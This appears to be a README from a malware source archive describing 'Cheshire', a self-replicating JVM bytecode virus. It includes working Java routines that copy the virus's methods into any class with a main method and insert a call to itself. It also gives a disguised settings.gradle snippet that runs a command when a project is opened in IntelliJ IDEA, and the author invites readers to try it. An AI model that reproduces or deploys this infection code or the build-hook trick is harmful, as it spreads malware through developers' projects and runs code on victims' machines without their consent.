mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
424 lines
23 KiB
Markdown
424 lines
23 KiB
Markdown
# Virus:Java/Cheshire.A
|
|
|
|
![Cheshire Cat](cheshire.png)
|
|
by Bot
|
|
|
|
Greetings: Coldzer0, Smelly, Neogram
|
|
|
|
## Cheshire
|
|
This is the first version of my bytecode virus for the JVM. This code is functional on JVM version 8 and higher. Along
|
|
with being capable of file infection, this virus was written to accomodate the user. Namely, this virus allows
|
|
the user to write some code in Java and instantly use it as a viral payload. Users can easily copy any function
|
|
or code to the target. We don't want to add additional libraries to our code so it's important to keep whatever payload
|
|
you add to what is available as standard Java libraries. Fortunately, the JVM's standard library is enormous and very flexible.
|
|
|
|
## Goals
|
|
Why would I write a virus for Java? There are a few reasons:
|
|
- Cross platform, no need to select binaries
|
|
- Rarity - I have not found a complete JVM virus on the web.
|
|
- Flexibility. JVM bytecode is much easier to manipulate than cpu opcodes and binary file formats.
|
|
|
|
|
|
|
|
## Prior Work
|
|
It appears there has not been a full Java virus in years. The only existing Java virus I could locate was
|
|
[Strangebrew](http://virus.wikidot.com/strangebrew), which was coded in 2001. Unfortunately even in this case the full
|
|
source was not disclosed. This virus would also not function in today's world, as Java has required bytecode verification
|
|
since that time.
|
|
|
|
There could be many causes for this. I was not able to find any other documented cases of a Java virus actually functioning.
|
|
While I was not able to find the source code for StrangeBrew, according to Symantec, the implementation was a bit buggy.
|
|
Upon starting the work I've done here, this might have sounded like an error on the part of the virus author, but we
|
|
will see that creating a fully functioning self-contained virus for the JVM is not a simple task.
|
|
|
|
## Design Overview
|
|
|
|
## File Infection Strategy
|
|
Cheshire infects any class file that contains a main function because this method is standard and reliable. All virus methods are static so they can easily be injected into and run from any
|
|
class. I chose to implement my own class file parser and infector because adding an entire library to a target is too
|
|
easy to spot, limits us if we want to develop more advanced features such as poly or metamorphism and just requires copying
|
|
too much data in general. In its current state, this virus is about 30kb. While large, it's much better than requiring entire
|
|
jar files simply to operate.
|
|
|
|
### The Java Class File Format
|
|
To create a virus that infects other executable files, we must first understand the executable format we are dealing with.
|
|
_I have absorbed [this page](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html) into my very being and no
|
|
longer understand anything about myself or the world around me._ Instead of traditional machine code, Java executables make use of bytecode. This allows portability without the software
|
|
authors needing to think about the platform they are writing code for. We have to consider the following aspects of the
|
|
.class file form:
|
|
- Which items are in the constant pool
|
|
- Which methods are available in the class
|
|
- Do the offsets used in our instruction operands match the offsets of our newly modified code and our newly placed constants
|
|
- How to adjust stack frames based on our modification of our target
|
|
|
|
#### The Constant Pool
|
|
Just like the data section of an ELF file, .class files have something called a Constant Pool to store information needed
|
|
by code. This is a listing of constant resources for the code to refer to as it runs. This can be anything from Strings
|
|
and Numbers to Objects, Methods and many other things. The formatting of the constant pool is very simple: each item is
|
|
given an index to which every other constant pool item, method and instruction may refer to. For our purposes, any
|
|
constant pool items we need to add can simply be appended to the target's constant pool. This will not cause any issues
|
|
with code verification or loading.
|
|
|
|
#### Methods
|
|
In a fashion similar to the constant pool, every method has an index. Our code has a few tasks when it comes to manipulating methods:
|
|
1) Read our own methods into memory so that we may copy them
|
|
2) Find methods in target code that we can infect. In our case, any main method will do
|
|
3) Inject our methods into the target class
|
|
4) Modify the code of the main method to invoke our virus code before continuing as normal
|
|
|
|
#### Code
|
|
Code is perhaps the simplest part of the entire class file format. Every instruction is loaded with some number of
|
|
operands following it. There can only be up to 255 JVM bytecode instructions so the set we need to understand is pretty
|
|
small compared to x86. The format of this data is simply an opcode followe by operands.
|
|
|
|
#### The Stack Map Table
|
|
After Java 7, you can no longer simply throw instructions into a method and expect functioning program. To make type guarantees
|
|
about code at runtime, Java maps out which variables are in the JVM's stack frame at any given time and for how long these
|
|
conditions apply. Every stackmapframe applies for some number of instructions indicated by an offset from the current
|
|
instruction being executed.
|
|
|
|
This is by far the hardest part to get right. Before Java runs code, it verifies that the code being loaded refers to
|
|
variables that are consistent with the types defined by the code. This would be fine normally, except for _a few complications._
|
|
|
|
#### The Challenge
|
|
So why is all of this hard? We run into a problem: several java instructions, one of which we use regularly, actually
|
|
have 2 different implementations. Some instructions will refer to constant pool values and take an
|
|
argument as a single unsigned byte(addressing up to 255 items) or two bytes(up to 65535 items). If we are appending our
|
|
needed constants to a target constant pool and the pool has more than 255 items, we need to decide whether to use the
|
|
instruction the original instruction that our compiler chose or a _new_ instruction addressing the correct number of
|
|
possible constants.
|
|
|
|
We could simply choose to hardcode our solution to only ever use 2 byte addressing and start only with lower numbers,
|
|
but ideally our code should be able to copy whatever methods we give it to copy and not simply some very specific code.
|
|
The viurs should be flexible and allow for advanced payloads specific by the user. Otherwise we are very limited in what we can do and
|
|
create more overead if we want to implement advanced features like polymoprhism or even metamorphism.
|
|
|
|
## Implementation
|
|
|
|
### Copying resources to the target
|
|
|
|
This is probably the easiest part of the whole process. Our code for doing this is:
|
|
|
|
```
|
|
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
|
|
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
|
byte[] orig_constant = constant_pool[origin_index-1];
|
|
|
|
//Create a map between the old and new constant pools
|
|
//This will help us avoid copying too many vars over and being wasteful
|
|
if(origin.get("constant_pool_map") == null){
|
|
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
|
|
origin.put("constant_pool_map", constant_pool_map);
|
|
}
|
|
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
|
|
if(constant_pool_map.keySet().contains(origin_index)){
|
|
return constant_pool_map.get(origin_index);
|
|
}
|
|
int const_tag = orig_constant[0];
|
|
if(const_tag == 1){
|
|
int new_index = addToPool(destination, orig_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 7){
|
|
ByteBuffer b = ByteBuffer.allocate(3);
|
|
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
|
b.put(orig_constant[0]);
|
|
b.putShort((short) new_name_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index;
|
|
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
|
|
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
|
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
|
new_index = selfBytes.getShort();
|
|
}
|
|
else{
|
|
new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
}
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
|
|
ByteBuffer b = ByteBuffer.allocate(5);
|
|
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_class_index = copyConstant(origin, orig_class_index, destination);
|
|
String thisClass = getClassName(origin);
|
|
byte[] methodClassBytes = constant_pool[orig_class_index-1];
|
|
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
|
|
methodClassBuffer.get();
|
|
int classNameIndex = methodClassBuffer.getShort();
|
|
String methodClassName = getUtf8Constant(classNameIndex, origin);
|
|
|
|
if(methodClassName.equals(getClassName(origin))){
|
|
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
|
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
|
|
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
|
new_class_index = selfBytes.getShort();
|
|
}
|
|
b.put(orig_constant[0]);
|
|
b.putShort((short) new_class_index);
|
|
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
|
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
|
b.putShort((short) new_name_and_type_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 8){
|
|
ByteBuffer b = ByteBuffer.allocate(3);
|
|
b.put(orig_constant[0]);
|
|
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_string_index = copyConstant(origin, orig_string_index, destination);
|
|
b.putShort((short) new_string_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
|
|
}
|
|
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
|
|
int new_index = addToPool(destination, orig_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 12){
|
|
ByteBuffer b = ByteBuffer.allocate(5);
|
|
b.put(orig_constant[0]);
|
|
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
|
b.putShort((short) new_name_index);
|
|
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
|
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
|
b.putShort((short) new_descriptor_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 15){
|
|
ByteBuffer b = ByteBuffer.allocate(4);
|
|
b.put(orig_constant[0]);
|
|
b.put(orig_constant[1]);
|
|
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
|
|
int new_reference_index = copyConstant(origin, old_reference_index, destination);
|
|
b.putShort((short) new_reference_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 16){
|
|
ByteBuffer b = ByteBuffer.allocate(3);
|
|
b.put(orig_constant[0]);
|
|
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
|
b.putShort((short) new_descriptor_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 18){
|
|
ByteBuffer b = ByteBuffer.allocate(5);
|
|
b.put(orig_constant[0]);
|
|
b.put(orig_constant[1]);
|
|
b.put(orig_constant[2]);
|
|
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
|
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
|
b.putShort((short) new_name_and_type_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else{
|
|
return -1;
|
|
}
|
|
}
|
|
```
|
|
|
|
Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever
|
|
we want to copy an item over, we do a quick check to see if we've already copied that item. If so, simply return
|
|
the index of the item instead of copying again. The JVM generally does not care too much about what you put in the constant
|
|
pool as long as it's a valid constant.
|
|
|
|
### Moving Methods
|
|
|
|
Copying a method from the source to the target is trickier than it sounds. While adding a method to a compiled class is
|
|
merely a matter of adding it to an index of methods, the real challenge is in ensuring the instructions for the method being
|
|
copied point to the correct resources and offsets. We have a useful function for consistently referring to the correct
|
|
constant pool resources but we need a way to consistently calculate the correct instruction positions and offsets for our
|
|
methods to actually function at runtime.
|
|
|
|
The workhorse of the virus for this is the instructionIndex method:
|
|
```
|
|
public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
|
|
int oldposition = 0;
|
|
int newposition = 0;
|
|
int remainder = 0;
|
|
int instruction_pos = 0;
|
|
int list_offset = 0;
|
|
if(oldList.size() != newList.size()){
|
|
list_offset = newList.size() - oldList.size();
|
|
}
|
|
// Step one: Convert old index
|
|
while(oldposition < index){
|
|
if(oldposition + oldList.get(instruction_pos).length <= index){
|
|
oldposition += oldList.get(instruction_pos).length;
|
|
instruction_pos += 1;
|
|
}
|
|
else if(oldposition + oldList.get(instruction_pos).length > index){
|
|
oldposition += oldList.get(instruction_pos).length;
|
|
instruction_pos += 1;
|
|
remainder = oldposition - index;
|
|
oldposition -= remainder;
|
|
}
|
|
}
|
|
instruction_pos += list_offset;
|
|
//Step two: Convert instruction_pos + remainder to new position
|
|
for(int i = 0; i < instruction_pos; i++){
|
|
newposition += newList.get(i).length;
|
|
}
|
|
return newposition;
|
|
}
|
|
|
|
```
|
|
|
|
There's no magic here. Essentially we just need to translate the original position of some code
|
|
to the new position of the same code after it has been modified. This function ends up being
|
|
heavily leveraged throughout the rest of the virus. For the excruitiating details of
|
|
how this is used to adjust instruction operands, see the processInstructions method in SelfExamine.java.
|
|
|
|
### The StackMapTable
|
|
|
|
A virus for the JVM would be very easy if it were not for the Stack Map Table. This ~~fucking~~ mechanism gives
|
|
reasonable type safety guarantees, but requiring specific code offsets for certain kinds of stack conditions to apply
|
|
complicates the process of injecting code. Essentially we have to not only recalculate our own code as
|
|
we copy it due to the new positions of our constants in the constant pool and the new sizes and positions of our copied
|
|
instructions, but we also have to calculate what the offsets should be if we add code to existing code.
|
|
|
|
Since we are aiming to inject instructions directly into our target's main method without causing a crash, we need
|
|
to think about this quite a bit. However it's worth noting that this is still dramatically easier than doing this for an
|
|
x86 instruction set.
|
|
|
|
The code to calculate the correct StackMapTable offsets can be found in processAttribute. All I'm going to say about it
|
|
is that it took forever to get functioning without errors.
|
|
|
|
### Injection
|
|
|
|
The last part of our process after we copy our methods is actually inject instructions into a function that we did not
|
|
write and have no control over. The good news for me is that this didn't require too much extra work.
|
|
|
|
```
|
|
public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
|
|
//Are there any functions called main?
|
|
//Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
|
|
//We should parse through the constant pool, look for the methodref with our method name and capture the index
|
|
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
|
int methodRefIndex;
|
|
byte[] instruction_bytes = new byte[3];
|
|
|
|
//Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
|
|
//For that method manually.
|
|
|
|
//Find the Constant Pool index of the MethodRef for our virus.
|
|
for(int i = 0; i < constant_pool.length; i++){
|
|
byte[] constant = constant_pool[i];
|
|
|
|
if(constant[0] == (byte) 10){
|
|
byte[] natindexbytes = new byte[2];
|
|
System.arraycopy(constant, 3 , natindexbytes, 0, 2);
|
|
int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
|
|
byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
|
|
byte[] nameindexbytes = new byte[2];
|
|
System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
|
|
int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
|
|
String methodName = getUtf8Constant(NameIndex, origin);
|
|
if(methodName.equals("Cheshire")){
|
|
methodRefIndex = i+1;
|
|
methodRefIndex = copyConstant(origin, methodRefIndex, destination);
|
|
ByteBuffer bb = ByteBuffer.allocate(2);
|
|
bb.putShort((short) methodRefIndex);
|
|
byte[] index_bytes = bb.array();
|
|
byte invokestatic = (byte) 184;
|
|
instruction_bytes[0] = invokestatic;
|
|
instruction_bytes[1] = index_bytes[0];
|
|
instruction_bytes[2] = index_bytes[1];
|
|
ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
|
|
inject_instructions.add(instruction_bytes);
|
|
destination.put("inject_instructions", inject_instructions);
|
|
}
|
|
}
|
|
}
|
|
|
|
byte[][] methods = (byte[][]) destination.get("methods");
|
|
for(int i = 0; i < methods.length; i++){
|
|
ByteBuffer b = ByteBuffer.wrap(methods[i]);
|
|
b.get(new byte[2]);
|
|
int nameIndex = b.getShort();
|
|
b.get(new byte[4]);
|
|
String methodName = getUtf8Constant(nameIndex, destination);
|
|
if(methodName.equals("main")){
|
|
try {
|
|
copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
```
|
|
Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef
|
|
for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with
|
|
for execution. As you can see, I horribly bastardized my own code here by adding the newly generated instruction to an item in the destination's HashMap. This is horrible and I'm sorry.
|
|
It does however appear to have worked so there's that.
|
|
|
|
## Transmission Mechanism
|
|
|
|
One thing I've bundled with this virus is a very simple but effective way to help this virus spread. We know that we're
|
|
interested in infecting .class files inside of Jars, but simply allowing it to happen and spread over time would tkae a while.
|
|
|
|
After some digging into how we might abuse build systems to spread our code, I stumbled on to the somewhat surprising fact
|
|
that it is trivially easy to trigger code execution when somebody clones a gradle project in IntelliJ IDEA. This trick
|
|
probably also works in Android studio. I haven't tried it myself - maybe you should :)
|
|
|
|
The trick is very simple:
|
|
|
|
In settings.gradle in your project, place some innocent looking comments and code:
|
|
```
|
|
task testSuite(type: JavaExec) {
|
|
jar
|
|
classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
|
|
classpath += sourceSets.main.runtimeClasspath
|
|
main = "Goat"
|
|
}
|
|
|
|
void autoBuild(){
|
|
testSuite
|
|
String classpath = sourceSets
|
|
exec {commandLine 'calc.exe'}
|
|
|
|
}
|
|
|
|
build{
|
|
autoBuild();
|
|
}
|
|
|
|
```
|
|
|
|
We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle
|
|
to run upon build. In IntelliJ IDEA, build is run every time a project is opened. For dramatic effect I've made
|
|
this code launch calc.exe but you could easily be much sneakier. ***The result of this obvious issue is that we can
|
|
get execution on clone in IntelliJ IDEA.*** Give it a try :)
|
|
|
|
## End Result
|
|
The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty
|
|
weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase
|
|
to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time.
|
|
|